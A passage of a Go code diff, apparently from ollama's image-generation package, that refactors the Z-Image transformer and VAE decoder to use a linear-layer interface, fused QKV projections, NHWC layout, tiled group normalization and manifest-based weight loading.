+	Linear1       nn.LinearLayer `weight:"mlp.0"`
+	Linear2       nn.LinearLayer `weight:"mlp.2"`
 	FreqEmbedSize int32      // 256 (computed)
 }
 
@@ -76,7 +74,7 @@ func (te *TimestepEmbedder) Forward(t *mlx.Array) *mlx.Array {
 
 // XEmbedder embeds image patches to model dimension
 type XEmbedder struct {
-	Linear *nn.Linear `weight:"2-1"`
+	Linear nn.LinearLayer `weight:"2-1"`
 }
 
 // Forward embeds patchified image latents
@@ -88,7 +86,7 @@ func (xe *XEmbedder) Forward(x *mlx.Array) *mlx.Array {
 // CapEmbedder projects caption features to model dimension
 type CapEmbedder struct {
 	Norm     *nn.RMSNorm `weight:"0"`
-	Linear   *nn.Linear  `weight:"1"`
+	Linear   nn.LinearLayer  `weight:"1"`
 	PadToken *mlx.Array  // loaded separately at root level
 }
 
@@ -102,12 +100,13 @@ func (ce *CapEmbedder) Forward(capFeats *mlx.Array) *mlx.Array {
 
 // FeedForward implements SwiGLU FFN
 type FeedForward struct {
-	W1     *nn.Linear `weight:"w1"` // gate projection
-	W2     *nn.Linear `weight:"w2"` // down projection
-	W3     *nn.Linear `weight:"w3"` // up projection
+	W1     nn.LinearLayer `weight:"w1"` // gate projection
+	W2     nn.LinearLayer `weight:"w2"` // down projection
+	W3     nn.LinearLayer `weight:"w3"` // up projection
 	OutDim int32      // computed from W2
 }
 
+
 // Forward applies SwiGLU: silu(W1(x)) * W3(x), then W2
 func (ff *FeedForward) Forward(x *mlx.Array) *mlx.Array {
 	shape := x.Shape()
@@ -117,6 +116,7 @@ func (ff *FeedForward) Forward(x *mlx.Array) *mlx.Array {
 
 	// Reshape for matmul
 	x = mlx.Reshape(x, B*L, D)
+
 	gate := ff.W1.Forward(x)
 	gate = mlx.SiLU(gate)
 	up := ff.W3.Forward(x)
@@ -128,17 +128,69 @@ func (ff *FeedForward) Forward(x *mlx.Array) *mlx.Array {
 
 // Attention implements multi-head attention with QK norm
 type Attention struct {
-	ToQ   *nn.Linear `weight:"to_q"`
-	ToK   *nn.Linear `weight:"to_k"`
-	ToV   *nn.Linear `weight:"to_v"`
-	ToOut *nn.Linear `weight:"to_out.0"`
+	ToQ   nn.LinearLayer `weight:"to_q"`
+	ToK   nn.LinearLayer `weight:"to_k"`
+	ToV   nn.LinearLayer `weight:"to_v"`
+	ToOut nn.LinearLayer `weight:"to_out.0"`
 	NormQ *mlx.Array `weight:"norm_q.weight"` // [head_dim] for per-head RMSNorm
 	NormK *mlx.Array `weight:"norm_k.weight"`
-	// Computed fields
-	NHeads  int32
-	HeadDim int32
-	Dim     int32
-	Scale   float32
+	// Fused QKV (computed at init time for efficiency, not loaded from weights)
+	ToQKV nn.LinearLayer `weight:"-"` // Fused Q+K+V projection (created by FuseQKV)
+	Fused bool       `weight:"-"` // Whether to use fused QKV path
+	// Computed fields (not loaded from weights)
+	NHeads  int32   `weight:"-"`
+	HeadDim int32   `weight:"-"`
+	Dim     int32   `weight:"-"`
+	Scale   float32 `weight:"-"`
+}
+
+// FuseQKV creates a fused QKV projection by concatenating weights.
+// This reduces 3 matmuls to 1 for a ~5-10% speedup.
+// Note: Fusion is skipped for quantized weights as it would require complex
+// dequant-concat-requant operations. The FP8 memory bandwidth savings outweigh
+// the ~5% fusion benefit.
+func (attn *Attention) FuseQKV() {
+	if attn.ToQ == nil || attn.ToK == nil || attn.ToV == nil {
+		return
+	}
+
+	// Skip fusion for quantized weights - type assert to check
+	toQ, qOk := attn.ToQ.(*nn.Linear)
+	toK, kOk := attn.ToK.(*nn.Linear)
+	toV, vOk := attn.ToV.(*nn.Linear)
+	if !qOk || !kOk || !vOk {
+		// One or more are QuantizedLinear, skip fusion
+		return
+	}
+
+	if toQ.Weight == nil || toK.Weight == nil || toV.Weight == nil {
+		return
+	}
+
+	// Concatenate weights: [dim, dim] x 3 -> [3*dim, dim]
+	// Weight shapes: ToQ.Weight [out_dim, in_dim], etc.
+	qWeight := toQ.Weight
+	kWeight := toK.Weight
+	vWeight := toV.Weight
+
+	// Concatenate along output dimension (axis 0)
+	fusedWeight := mlx.Concatenate([]*mlx.Array{qWeight, kWeight, vWeight}, 0)
+
+	// Evaluate fused weight to ensure it's materialized
+	mlx.Eval(fusedWeight)
+
+	// Create fused linear layer
+	fusedLinear := &nn.Linear{Weight: fusedWeight}
+
+	// Handle bias if present
+	if toQ.Bias != nil && toK.Bias != nil && toV.Bias != nil {
+		fusedBias := mlx.Concatenate([]*mlx.Array{toQ.Bias, toK.Bias, toV.Bias}, 0)
+		mlx.Eval(fusedBias)
+		fusedLinear.Bias = fusedBias
+	}
+
+	attn.ToQKV = fusedLinear
+	attn.Fused = true
 }
 
 // Forward computes attention
@@ -148,11 +200,24 @@ func (attn *Attention) Forward(x *mlx.Array, cos, sin *mlx.Array) *mlx.Array {
 	L := shape[1]
 	D := shape[2]
 
-	// Project Q, K, V
 	xFlat := mlx.Reshape(x, B*L, D)
-	q := attn.ToQ.Forward(xFlat)
-	k := attn.ToK.Forward(xFlat)
-	v := attn.ToV.Forward(xFlat)
+
+	var q, k, v *mlx.Array
+	if attn.Fused && attn.ToQKV != nil {
+		// Fused QKV path: single matmul then split
+		qkv := attn.ToQKV.Forward(xFlat) // [B*L, 3*dim]
+
+		// Split into Q, K, V along last dimension
+		// Each has shape [B*L, dim]
+		q = mlx.Slice(qkv, []int32{0, 0}, []int32{B * L, attn.Dim})
+		k = mlx.Slice(qkv, []int32{0, attn.Dim}, []int32{B * L, 2 * attn.Dim})
+		v = mlx.Slice(qkv, []int32{0, 2 * attn.Dim}, []int32{B * L, 3 * attn.Dim})
+	} else {
+		// Separate Q, K, V projections
+		q = attn.ToQ.Forward(xFlat)
+		k = attn.ToK.Forward(xFlat)
+		v = attn.ToV.Forward(xFlat)
+	}
 
 	// Reshape to [B, L, nheads, head_dim]
 	q = mlx.Reshape(q, B, L, attn.NHeads, attn.HeadDim)
@@ -229,7 +294,7 @@ type TransformerBlock struct {
 	AttentionNorm2 *nn.RMSNorm  `weight:"attention_norm2"`
 	FFNNorm1       *nn.RMSNorm  `weight:"ffn_norm1"`
 	FFNNorm2       *nn.RMSNorm  `weight:"ffn_norm2"`
-	AdaLN          *nn.Linear   `weight:"adaLN_modulation.0,optional"` // only if modulation
+	AdaLN          nn.LinearLayer   `weight:"adaLN_modulation.0,optional"` // only if modulation
 	// Computed fields
 	HasModulation bool
 	Dim           int32
@@ -283,8 +348,8 @@ func (tb *TransformerBlock) Forward(x *mlx.Array, adaln *mlx.Array, cos, sin *ml
 
 // FinalLayer outputs the denoised patches
 type FinalLayer struct {
-	AdaLN  *nn.Linear `weight:"adaLN_modulation.1"` // [256] -> [dim]
-	Output *nn.Linear `weight:"linear"`             // [dim] -> [out_channels]
+	AdaLN  nn.LinearLayer `weight:"adaLN_modulation.1"` // [256] -> [dim]
+	Output nn.LinearLayer `weight:"linear"`             // [dim] -> [out_channels]
 	OutDim int32      // computed from Output
 }
 
@@ -335,43 +400,50 @@ type Transformer struct {
 	*TransformerConfig
 }
 
-// Load loads the Z-Image transformer from a directory
-func (m *Transformer) Load(path string) error {
-	fmt.Println("Loading Z-Image transformer...")
+// Load loads the Z-Image transformer from ollama blob storage.
+func (m *Transformer) Load(manifest *imagegen.ModelManifest) error {
+	fmt.Print("  Loading transformer... ")
 
-	// Load config
-	cfg, err := loadTransformerConfig(filepath.Join(path, "config.json"))
-	if err != nil {
+	// Load config from blob
+	var cfg TransformerConfig
+	if err := manifest.ReadConfigJSON("transformer/config.json", &cfg); err != nil {
 		return fmt.Errorf("config: %w", err)
 	}
-	m.TransformerConfig = cfg
-
-	// Pre-allocate slices for loader
+	if len(cfg.AllPatchSize) > 0 {
+		cfg.PatchSize = cfg.AllPatchSize[0]
+	}
+	m.TransformerConfig = &cfg
 	m.NoiseRefiners = make([]*TransformerBlock, cfg.NRefinerLayers)
 	m.ContextRefiners = make([]*TransformerBlock, cfg.NRefinerLayers)
 	m.Layers = make([]*TransformerBlock, cfg.NLayers)
 
-	// Load weights
-	weights, err := safetensors.LoadModelWeights(path)
+	weights, err := imagegen.LoadWeightsFromManifest(manifest, "transformer")
 	if err != nil {
 		return fmt.Errorf("weights: %w", err)
 	}
-
-	fmt.Print("  Loading weights as bf16... ")
-	if err := weights.Load(mlx.DtypeBFloat16); err != nil {
+	if err := weights.Load(0); err != nil {
 		return fmt.Errorf("load weights: %w", err)
 	}
-	fmt.Printf("✓ (%.1f GB)\n", float64(mlx.MetalGetActiveMemory())/(1024*1024*1024))
+	defer weights.ReleaseAll()
 
-	fmt.Print("  Loading weights via struct tags... ")
+	return m.loadWeights(weights)
+}
+
+// loadWeights loads weights from any WeightSource into the model
+func (m *Transformer) loadWeights(weights safetensors.WeightSource) error {
 	if err := safetensors.LoadModule(m, weights, ""); err != nil {
 		return fmt.Errorf("load module: %w", err)
 	}
+	m.initComputedFields()
 	fmt.Println("✓")
+	return nil
+}
 
-	// Initialize computed fields
+// initComputedFields initializes computed fields after loading weights
+func (m *Transformer) initComputedFields() {
+	cfg := m.TransformerConfig
 	m.TEmbed.FreqEmbedSize = 256
-	m.FinalLayer.OutDim = m.FinalLayer.Output.Weight.Shape()[0]
+	m.FinalLayer.OutDim = m.FinalLayer.Output.OutputDim()
 	m.CapEmbed.Norm.Eps = 1e-6
 
 	for _, block := range m.NoiseRefiners {
@@ -383,26 +455,20 @@ func (m *Transformer) Load(path string) error {
 	for _, block := range m.Layers {
 		initTransformerBlock(block, cfg)
 	}
-
-	weights.ReleaseAll()
-	return nil
 }
 
-// loadTransformerConfig loads transformer config from a JSON file
-func loadTransformerConfig(path string) (*TransformerConfig, error) {
-	data, err := os.ReadFile(path)
-	if err != nil {
-		return nil, fmt.Errorf("read config: %w", err)
+// FuseAllQKV fuses QKV projections in all attention layers for efficiency.
+// This reduces 3 matmuls to 1 per attention layer, providing ~5-10% speedup.
+func (m *Transformer) FuseAllQKV() {
+	for _, block := range m.NoiseRefiners {
+		block.Attention.FuseQKV()
 	}
-	var cfg TransformerConfig
-	if err := json.Unmarshal(data, &cfg); err != nil {
-		return nil, fmt.Errorf("parse config: %w", err)
+	for _, block := range m.ContextRefiners {
+		block.Attention.FuseQKV()
 	}
-	// Extract PatchSize from array
-	if len(cfg.AllPatchSize) > 0 {
-		cfg.PatchSize = cfg.AllPatchSize[0]
+	for _, block := range m.Layers {
+		block.Attention.FuseQKV()
 	}
-	return &cfg, nil
 }
 
 // initTransformerBlock sets computed fields on a transformer block
@@ -418,7 +484,7 @@ func initTransformerBlock(block *TransformerBlock, cfg *TransformerConfig) {
 	attn.Scale = float32(1.0 / math.Sqrt(float64(attn.HeadDim)))
 
 	// Init feedforward OutDim
-	block.FeedForward.OutDim = block.FeedForward.W2.Weight.Shape()[0]
+	block.FeedForward.OutDim = block.FeedForward.W2.OutputDim()
 
 	// Set eps on all RMSNorm layers
 	block.AttentionNorm1.Eps = cfg.NormEps
@@ -437,6 +503,8 @@ type RoPECache struct {
 	UnifiedSin *mlx.Array
 	ImgLen     int32
 	CapLen     int32
+	GridH      int32 // Image token grid height
+	GridW      int32 // Image token grid width
 }
 
 // PrepareRoPECache precomputes RoPE values for the given image and caption lengths.
@@ -470,6 +538,8 @@ func (m *Transformer) PrepareRoPECache(hTok, wTok, capLen int32) *RoPECache {
 		UnifiedSin: unifiedSin,
 		ImgLen:     imgLen,
 		CapLen:     capLen,
+		GridH:      hTok,
+		GridW:      wTok,
 	}
 }
 

x/imagegen/models/zimage/vae.go

@@ -3,12 +3,10 @@
 package zimage
 
 import (
-	"encoding/json"
 	"fmt"
 	"math"
-	"os"
-	"path/filepath"
 
+	"github.com/ollama/ollama/x/imagegen"
 	"github.com/ollama/ollama/x/imagegen/mlx"
 	"github.com/ollama/ollama/x/imagegen/safetensors"
 )
@@ -25,19 +23,6 @@ type VAEConfig struct {
 	ShiftFactor      float32 `json:"shift_factor"`
 }
 
-// loadVAEConfig loads VAE config from a JSON file
-func loadVAEConfig(path string) (*VAEConfig, error) {
-	data, err := os.ReadFile(path)
-	if err != nil {
-		return nil, fmt.Errorf("read config: %w", err)
-	}
-	var cfg VAEConfig
-	if err := json.Unmarshal(data, &cfg); err != nil {
-		return nil, fmt.Errorf("parse config: %w", err)
-	}
-	return &cfg, nil
-}
-
 // GroupNormLayer implements group normalization
 type GroupNormLayer struct {
 	Weight    *mlx.Array
@@ -57,49 +42,189 @@ func NewGroupNorm(weight, bias *mlx.Array, numGroups int32) *GroupNormLayer {
 }
 
 // Forward applies group normalization
+// Input and output are in NHWC format [B, H, W, C]
 func (gn *GroupNormLayer) Forward(x *mlx.Array) *mlx.Array {
-	// x: [B, C, H, W]
+	// x: [B, H, W, C] (NHWC format)
 	shape := x.Shape()
 	B := shape[0]
-	C := shape[1]
-	H := shape[2]
-	W := shape[3]
+	H := shape[1]
+	W := shape[2]
+	C := shape[3]
 
-	// Reshape to [B, groups, C/groups, H, W]
+	// For large spatial sizes, use tiled computation to avoid CUDA grid limits
+	// CUDA grid.y max is 65535, so H*W/16 must be <= 65535, meaning H*W <= ~1M
+	// To be safe, tile when H*W > 512*512 = 262144
+	if H*W > 512*512 {
+		return gn.forwardTiled(x, B, H, W, C)
+	}
+
+	return gn.forwardSmall(x, B, H, W, C)
+}
+
+// forwardSmall is the standard GroupNorm for tensors that fit within CUDA grid limits
+func (gn *GroupNormLayer) forwardSmall(x *mlx.Array, B, H, W, C int32) *mlx.Array {
+	// Reshape to [B, H, W, groups, C/groups]
 	groupSize := C / gn.NumGroups
-	x = mlx.Reshape(x, B, gn.NumGroups, groupSize, H, W)
+	x = mlx.Reshape(x, B, H, W, gn.NumGroups, groupSize)
 
-	// Compute mean and variance per group
-	mean := mlx.Mean(x, 2, true)
-	mean = mlx.Mean(mean, 3, true)
+	// Compute mean and variance per group (over H, W, and C/groups dimensions)
+	mean := mlx.Mean(x, 1, true)
+	mean = mlx.Mean(mean, 2, true)
 	mean = mlx.Mean(mean, 4, true)
 
 	xCentered := mlx.Sub(x, mean)
-	variance := mlx.Mean(mlx.Square(xCentered), 2, true)
-	variance = mlx.Mean(variance, 3, true)
+
+	// Variance over same axes
+	sq := mlx.Square(xCentered)
+	variance := mlx.Mean(sq, 1, true)
+	variance = mlx.Mean(variance, 2, true)
 	variance = mlx.Mean(variance, 4, true)
 
 	// Normalize
 	xNorm := mlx.Div(xCentered, mlx.Sqrt(mlx.AddScalar(variance, gn.Eps)))
 
-	// Reshape back to [B, C, H, W]
-	xNorm = mlx.Reshape(xNorm, B, C, H, W)
+	// Reshape back to [B, H, W, C]
+	xNorm = mlx.Reshape(xNorm, B, H, W, C)
 
 	// Scale and shift (weight and bias are [C])
 	if gn.Weight != nil {
-		weight := mlx.Reshape(gn.Weight, 1, C, 1, 1)
+		weight := mlx.Reshape(gn.Weight, 1, 1, 1, C)
 		xNorm = mlx.Mul(xNorm, weight)
 	}
 	if gn.Bias != nil {
-		bias := mlx.Reshape(gn.Bias, 1, C, 1, 1)
+		bias := mlx.Reshape(gn.Bias, 1, 1, 1, C)
 		xNorm = mlx.Add(xNorm, bias)
 	}
 
 	return xNorm
 }
 
+// forwardTiled handles large tensors by processing in H-tiles to avoid CUDA grid limits
+func (gn *GroupNormLayer) forwardTiled(x *mlx.Array, B, H, W, C int32) *mlx.Array {
+	groupSize := C / gn.NumGroups
+
+	// Keep the input - we need it for slicing tiles later
+	// Track if we were the ones who kept it, so we can restore state after
+	wasKept := x.Kept()
+	mlx.Keep(x)
+
+	// Compute per-group mean and variance using flattened spatial dimensions
+	// Build the entire compute graph first, then eval once
+	// Reshape to [B, H*W, groups, groupSize]
+	xFlat := mlx.Reshape(x, B, H*W, gn.NumGroups, groupSize)
+
+	// Mean over spatial (axis 1) and groupSize (axis 3) dimensions
+	// Result shape: [B, 1, groups, 1]
+	mean1 := mlx.Mean(xFlat, 1, true)
+	mean := mlx.Mean(mean1, 3, true)
+
+	// Variance using E[X^2] - E[X]^2
+	xSq := mlx.Square(xFlat)
+	meanSq1 := mlx.Mean(xSq, 1, true)
+	meanSq := mlx.Mean(meanSq1, 3, true)
+	meanSquared := mlx.Square(mean)
+	variance := mlx.Sub(meanSq, meanSquared)
+
+	// invStd = 1/sqrt(var + eps)
+	varPlusEps := mlx.AddScalar(variance, gn.Eps)
+	stdDev := mlx.Sqrt(varPlusEps)
+	one := mlx.Full(1.0, 1)
+	invStd := mlx.Div(one, stdDev)
+
+	// Eval mean and invStd together - these are what we need for the tile loop
+	mlx.Keep(mean, invStd)
+	mlx.Eval(mean, invStd)
+
+	// Tile along H dimension
+	tileH := int32(512 * 512 / W)
+	if tileH < 1 {
+		tileH = 1
+	}
+	if tileH > H {
+		tileH = H
+	}
+
+	// Prepare weight and bias reshaped for 4D broadcast [1, 1, groups, groupSize]
+	var weightGN, biasGN *mlx.Array
+	if gn.Weight != nil {
+		weightGN = mlx.Reshape(gn.Weight, 1, 1, gn.NumGroups, groupSize)
+		mlx.Keep(weightGN)
+		mlx.Eval(weightGN)
+	}
+	if gn.Bias != nil {
+		biasGN = mlx.Reshape(gn.Bias, 1, 1, gn.NumGroups, groupSize)
+		mlx.Keep(biasGN)
+		mlx.Eval(biasGN)
+	}
+
+	var tiles []*mlx.Array
+	for hStart := int32(0); hStart < H; hStart += tileH {
+		hEnd := hStart + tileH
+		if hEnd > H {
+			hEnd = H
+		}
+		tileHeight := hEnd - hStart
+		spatialSize := tileHeight * W
+
+		// Build the compute graph for this tile (no intermediate Evals)
+		// Extract tile and flatten spatial dims: [B, tileH*W, groups, groupSize]
+		tile := mlx.Slice(x, []int32{0, hStart, 0, 0}, []int32{B, hEnd, W, C})
+		tileFlat := mlx.Reshape(tile, B, spatialSize, gn.NumGroups, groupSize)
+
+		// Normalize: (x - mean) * invStd
+		tileCentered := mlx.Sub(tileFlat, mean)
+		tileNorm := mlx.Mul(tileCentered, invStd)
+
+		// Apply scale and shift in 4D space
+		if weightGN != nil {
+			tileNorm = mlx.Mul(tileNorm, weightGN)
+		}
+		if biasGN != nil {
+			tileNorm = mlx.Add(tileNorm, biasGN)
+		}
+
+		// Reshape back to [B, tileH, W, C]
+		tileOut := mlx.Reshape(tileNorm, B, tileHeight, W, C)
+
+		// Now eval and keep this tile
+		mlx.Keep(tileOut)
+		mlx.Eval(tileOut)
+
+		tiles = append(tiles, tileOut)
+	}
+
+	// Concatenate tiles along H axis
+	var result *mlx.Array
+	if len(tiles) == 1 {
+		result = tiles[0]
+	} else {
+		result = mlx.Concatenate(tiles, 1)
+		mlx.Eval(result)
+		// Free the individual tiles now that they're concatenated
+		for _, t := range tiles {
+			t.Free()
+		}
+	}
+
+	// Clean up kept arrays
+	// Restore x's kept state - only free if we were the ones who kept it
+	if !wasKept {
+		x.Free()
+	}
+	mean.Free()
+	invStd.Free()
+	if weightGN != nil {
+		weightGN.Free()
+	}
+	if biasGN != nil {
+		biasGN.Free()
+	}
+
+	return result
+}
+
 // Conv2D represents a 2D convolution layer
-// MLX uses NHWC format, but we store weights in OHWI format for MLX conv
+// Works natively in NHWC format (MLX's native format)
 type Conv2D struct {
 	Weight  *mlx.Array // [out_channels, kH, kW, in_channels] (OHWI for MLX)
 	Bias    *mlx.Array // [out_channels]
@@ -123,21 +248,17 @@ func NewConv2D(weight, bias *mlx.Array, stride, padding int32) *Conv2D {
 }
 
 // Forward applies convolution
-// Input x is in NCHW format, we convert to NHWC for MLX, then back to NCHW
+// Input and output are in NHWC format [N, H, W, C]
 func (conv *Conv2D) Forward(x *mlx.Array) *mlx.Array {
-	// x: [N, C, H, W] -> [N, H, W, C]
-	xNHWC := mlx.Transpose(x, 0, 2, 3, 1)
-
-	// Conv in NHWC format
-	outNHWC := mlx.Conv2d(xNHWC, conv.Weight, conv.Stride, conv.Padding)
-
-	// Convert back to NCHW: [N, H, W, C] -> [N, C, H, W]
-	out := mlx.Transpose(outNHWC, 0, 3, 1, 2)
+	// Conv in NHWC format (MLX native)
+	out := mlx.Conv2d(x, conv.Weight, conv.Stride, conv.Padding)
 
 	if conv.Bias != nil {
-		bias := mlx.Reshape(conv.Bias, 1, conv.Bias.Dim(0), 1, 1)
+		// Bias is [C], reshape to [1, 1, 1, C] for NHWC broadcast
+		bias := mlx.Reshape(conv.Bias, 1, 1, 1, conv.Bias.Dim(0))
 		out = mlx.Add(out, bias)
 	}
+
 	return out
 }
 
@@ -151,7 +272,7 @@ type ResnetBlock2D struct {
 }
 
 // NewResnetBlock2D creates a ResNet block
-func NewResnetBlock2D(weights *safetensors.ModelWeights, prefix string, numGroups int32) (*ResnetBlock2D, error) {
+func NewResnetBlock2D(weights safetensors.WeightSource, prefix string, numGroups int32) (*ResnetBlock2D, error) {
 	norm1Weight, err := weights.GetTensor(prefix + ".norm1.weight")
 	if err != nil {
 		return nil, err
@@ -216,13 +337,13 @@ func (rb *ResnetBlock2D) Forward(x *mlx.Array) *mlx.Array {
 
 	// Stage 1: norm1
 	{
-			h = rb.Norm1.Forward(x)
+		h = rb.Norm1.Forward(x)
 		mlx.Eval(h)
 	}
 
 	// Stage 2: silu + conv1
 	{
-			prev := h
+		prev := h
 		h = mlx.SiLU(h)
 		h = rb.Conv1.Forward(h)
 		prev.Free()
@@ -231,7 +352,7 @@ func (rb *ResnetBlock2D) Forward(x *mlx.Array) *mlx.Array {
 
 	// Stage 3: norm2
 	{
-			prev := h
+		prev := h
 		h = rb.Norm2.Forward(h)
 		prev.Free()
 		mlx.Eval(h)
@@ -239,7 +360,7 @@ func (rb *ResnetBlock2D) Forward(x *mlx.Array) *mlx.Array {
 
 	// Stage 4: silu + conv2
 	{
-			prev := h
+		prev := h
 		h = mlx.SiLU(h)
 		h = rb.Conv2.Forward(h)
 		prev.Free()
@@ -248,7 +369,7 @@ func (rb *ResnetBlock2D) Forward(x *mlx.Array) *mlx.Array {
 
 	// Residual connection
 	{
-			prev := h
+		prev := h
 		if rb.ConvShortcut != nil {
 			shortcut := rb.ConvShortcut.Forward(x)
 			h = mlx.Add(h, shortcut)
@@ -277,7 +398,7 @@ type VAEAttentionBlock struct {
 }
 
 // NewVAEAttentionBlock creates an attention block
-func NewVAEAttentionBlock(weights *safetensors.ModelWeights, prefix string, numGroups int32) (*VAEAttentionBlock, error) {
+func NewVAEAttentionBlock(weights safetensors.WeightSource, prefix string, numGroups int32) (*VAEAttentionBlock, error) {
 	normWeight, err := weights.GetTensor(prefix + ".group_norm.weight")
 	if err != nil {
 		return nil, err
@@ -338,20 +459,20 @@ func NewVAEAttentionBlock(weights *safetensors.ModelWeights, prefix string, numG
 }
 
 // Forward applies attention with staged evaluation
+// Input and output are in NHWC format [B, H, W, C]
 func (ab *VAEAttentionBlock) Forward(x *mlx.Array) *mlx.Array {
 	residual := x
 	shape := x.Shape()
 	B := shape[0]
-	C := shape[1]
-	H := shape[2]
-	W := shape[3]
+	H := shape[1]
+	W := shape[2]
+	C := shape[3]
 
 	var h *mlx.Array
 
-	// Stage 1: GroupNorm + reshape
+	// Stage 1: GroupNorm + reshape to [B, H*W, C]
 	{
-			h = ab.GroupNorm.Forward(x)
-		h = mlx.Transpose(h, 0, 2, 3, 1)
+		h = ab.GroupNorm.Forward(x)
 		h = mlx.Reshape(h, B, H*W, C)
 		mlx.Eval(h)
 	}
@@ -360,7 +481,7 @@ func (ab *VAEAttentionBlock) Forward(x *mlx.Array) *mlx.Array {
 
 	// Stage 2: Q, K, V projections + attention
 	{
-			q := mlx.Linear(h, ab.ToQWeight)
+		q := mlx.Linear(h, ab.ToQWeight)
 		q = mlx.Add(q, ab.ToQBias)
 		k := mlx.Linear(h, ab.ToKWeight)
 		k = mlx.Add(k, ab.ToKBias)
@@ -380,11 +501,10 @@ func (ab *VAEAttentionBlock) Forward(x *mlx.Array) *mlx.Array {
 
 	// Stage 3: Output projection + reshape + residual
 	{
-			prev := out
+		prev := out
 		out = mlx.Linear(out, ab.ToOutWeight)
 		out = mlx.Add(out, ab.ToOutBias)
 		out = mlx.Reshape(out, B, H, W, C)
-		out = mlx.Transpose(out, 0, 3, 1, 2)
 		out = mlx.Add(out, residual)
 		prev.Free()
 		mlx.Eval(out)
@@ -400,7 +520,7 @@ type UpDecoderBlock2D struct {
 }
 
 // NewUpDecoderBlock2D creates an up decoder block
-func NewUpDecoderBlock2D(weights *safetensors.ModelWeights, prefix string, numLayers, numGroups int32, hasUpsample bool) (*UpDecoderBlock2D, error) {
+func NewUpDecoderBlock2D(weights safetensors.WeightSource, prefix string, numLayers, numGroups int32, hasUpsample bool) (*UpDecoderBlock2D, error) {
 	resnets := make([]*ResnetBlock2D, numLayers)
 	for i := int32(0); i < numLayers; i++ {
 		resPrefix := fmt.Sprintf("%s.resnets.%d", prefix, i)
@@ -467,7 +587,7 @@ type VAEMidBlock struct {
 }
 
 // NewVAEMidBlock creates the mid block
-func NewVAEMidBlock(weights *safetensors.ModelWeights, prefix string, numGroups int32) (*VAEMidBlock, error) {
+func NewVAEMidBlock(weights safetensors.WeightSource, prefix string, numGroups int32) (*VAEMidBlock, error) {
 	resnet1, err := NewResnetBlock2D(weights, prefix+".resnets.0", numGroups)
 	if err != nil {
 		return nil, err
@@ -518,22 +638,31 @@ type VAEDecoder struct {
 	ConvOut     *Conv2D
 }
 
-// Load loads the VAE decoder from a directory
-func (m *VAEDecoder) Load(path string) error {
-	fmt.Println("Loading VAE decoder...")
-
-	// Load config
-	cfg, err := loadVAEConfig(filepath.Join(path, "config.json"))
-	if err != nil {
+// Load loads the VAE decoder from ollama blob storage.
+func (m *VAEDecoder) Load(manifest *imagegen.ModelManifest) error {
+	// Load config from blob
+	var cfg VAEConfig
+	if err := manifest.ReadConfigJSON("vae/config.json", &cfg); err != nil {
 		return fmt.Errorf("config: %w", err)
 	}
-	m.Config = cfg
+	m.Config = &cfg
 
-	// Load weights
-	weights, err := safetensors.LoadModelWeights(path)
+	// Load weights from tensor blobs
+	weights, err := imagegen.LoadWeightsFromManifest(manifest, "vae")
 	if err != nil {
 		return fmt.Errorf("weights: %w", err)
 	}
+	if err := weights.Load(0); err != nil {
+		return fmt.Errorf("load weights: %w", err)
+	}
+	defer weights.ReleaseAll()
+
+	return m.loadWeights(weights, &cfg)
+}
+
+// loadWeights loads VAE weights from any WeightSource
+func (m *VAEDecoder) loadWeights(weights safetensors.WeightSource, cfg *VAEConfig) error {
+	var err error
 
 	// Load conv_in
 	fmt.Print("  Loading conv_in... ")
@@ -596,57 +725,79 @@ func (m *VAEDecoder) Load(path string) error {
 	m.ConvOut = NewConv2D(convOutWeight, convOutBias, 1, 1)
 	fmt.Println("✓")
 
-	weights.ReleaseAll()
 	return nil
 }
 
 // Decode decodes latents to images.
-// Uses staged pools to free intermediate arrays and reduce peak memory.
+// Input latents are in NCHW format, output is in NCHW format.
+// Internally uses NHWC format (MLX native) for all operations.
 func (vae *VAEDecoder) Decode(latents *mlx.Array) *mlx.Array {
-	var h *mlx.Array
-	{
-		z := mlx.DivScalar(latents, vae.Config.ScalingFactor)
-		z = mlx.AddScalar(z, vae.Config.ShiftFactor)
-		h = vae.ConvIn.Forward(z)
-		mlx.Eval(h)
-	}
+	// Scale latents
+	z := mlx.DivScalar(latents, vae.Config.ScalingFactor)
+	z = mlx.AddScalar(z, vae.Config.ShiftFactor)
+	// Convert NCHW -> NHWC for internal processing
+	z = mlx.Transpose(z, 0, 2, 3, 1)
+	h := vae.ConvIn.Forward(z)
+	mlx.Eval(h)
 
+	prev := h
 	h = vae.MidBlock.Forward(h)
+	prev.Free()
 
 	for _, upBlock := range vae.UpBlocks {
+		prev = h
 		h = upBlock.Forward(h)
+		prev.Free()
 	}
 
-	{
-			prev := h
-		h = vae.ConvNormOut.Forward(h)
-		h = mlx.SiLU(h)
-		h = vae.ConvOut.Forward(h)
-		// VAE outputs [-1, 1], convert to [0, 1]
-		h = mlx.AddScalar(mlx.MulScalar(h, 0.5), 0.5)
-		h = mlx.ClipScalar(h, 0.0, 1.0, true, true)
-		prev.Free()
-		mlx.Eval(h)
-	}
+	prev = h
+	h = vae.ConvNormOut.Forward(h)
+	mlx.Eval(h) // Eval after GroupNorm to avoid grid dimension issues
+	prev.Free()
+
+	prev = h
+	h = mlx.SiLU(h)
+	h = vae.ConvOut.Forward(h)
+	mlx.Eval(h)
+	prev.Free()
+
+	// VAE outputs [-1, 1], convert to [0, 1]
+	h = mlx.MulScalar(h, 0.5)
+	h = mlx.AddScalar(h, 0.5)
+	h = mlx.ClipScalar(h, 0.0, 1.0, true, true)
+
+	// Convert NHWC -> NCHW for output
+	h = mlx.Transpose(h, 0, 3, 1, 2)
+	mlx.Eval(h)
 
 	return h
 }
 
-// Upsample2x performs 2x nearest neighbor upsampling using broadcast.
-// x: [B, C, H, W] -> [B, C, H*2, W*2]
+// Upsample2x performs 2x nearest neighbor upsampling using Take.
+// Input and output are in NHWC format: [B, H, W, C] -> [B, H*2, W*2, C]
+// Uses Take with repeated indices to produce contiguous output.
 func Upsample2x(x *mlx.Array) *mlx.Array {
 	shape := x.Shape()
-	B := shape[0]
-	C := shape[1]
-	H := shape[2]
-	W := shape[3]
+	H := shape[1]
+	W := shape[2]
 
-	// [B, C, H, W] -> [B, C, H, 1, W, 1]
-	x = mlx.Reshape(x, B, C, H, 1, W, 1)
-	// Broadcast to [B, C, H, 2, W, 2]
-	x = mlx.BroadcastTo(x, []int32{B, C, H, 2, W, 2})
-	// Reshape to [B, C, H*2, W*2]
-	x = mlx.Reshape(x, B, C, H*2, W*2)
+	// Create indices [0, 0, 1, 1, 2, 2, ...] for nearest neighbor
+	// For H dimension
+	hIdx := mlx.ArangeInt(0, H, 1, mlx.DtypeInt32)
+	hIdx = mlx.Reshape(hIdx, H, 1)
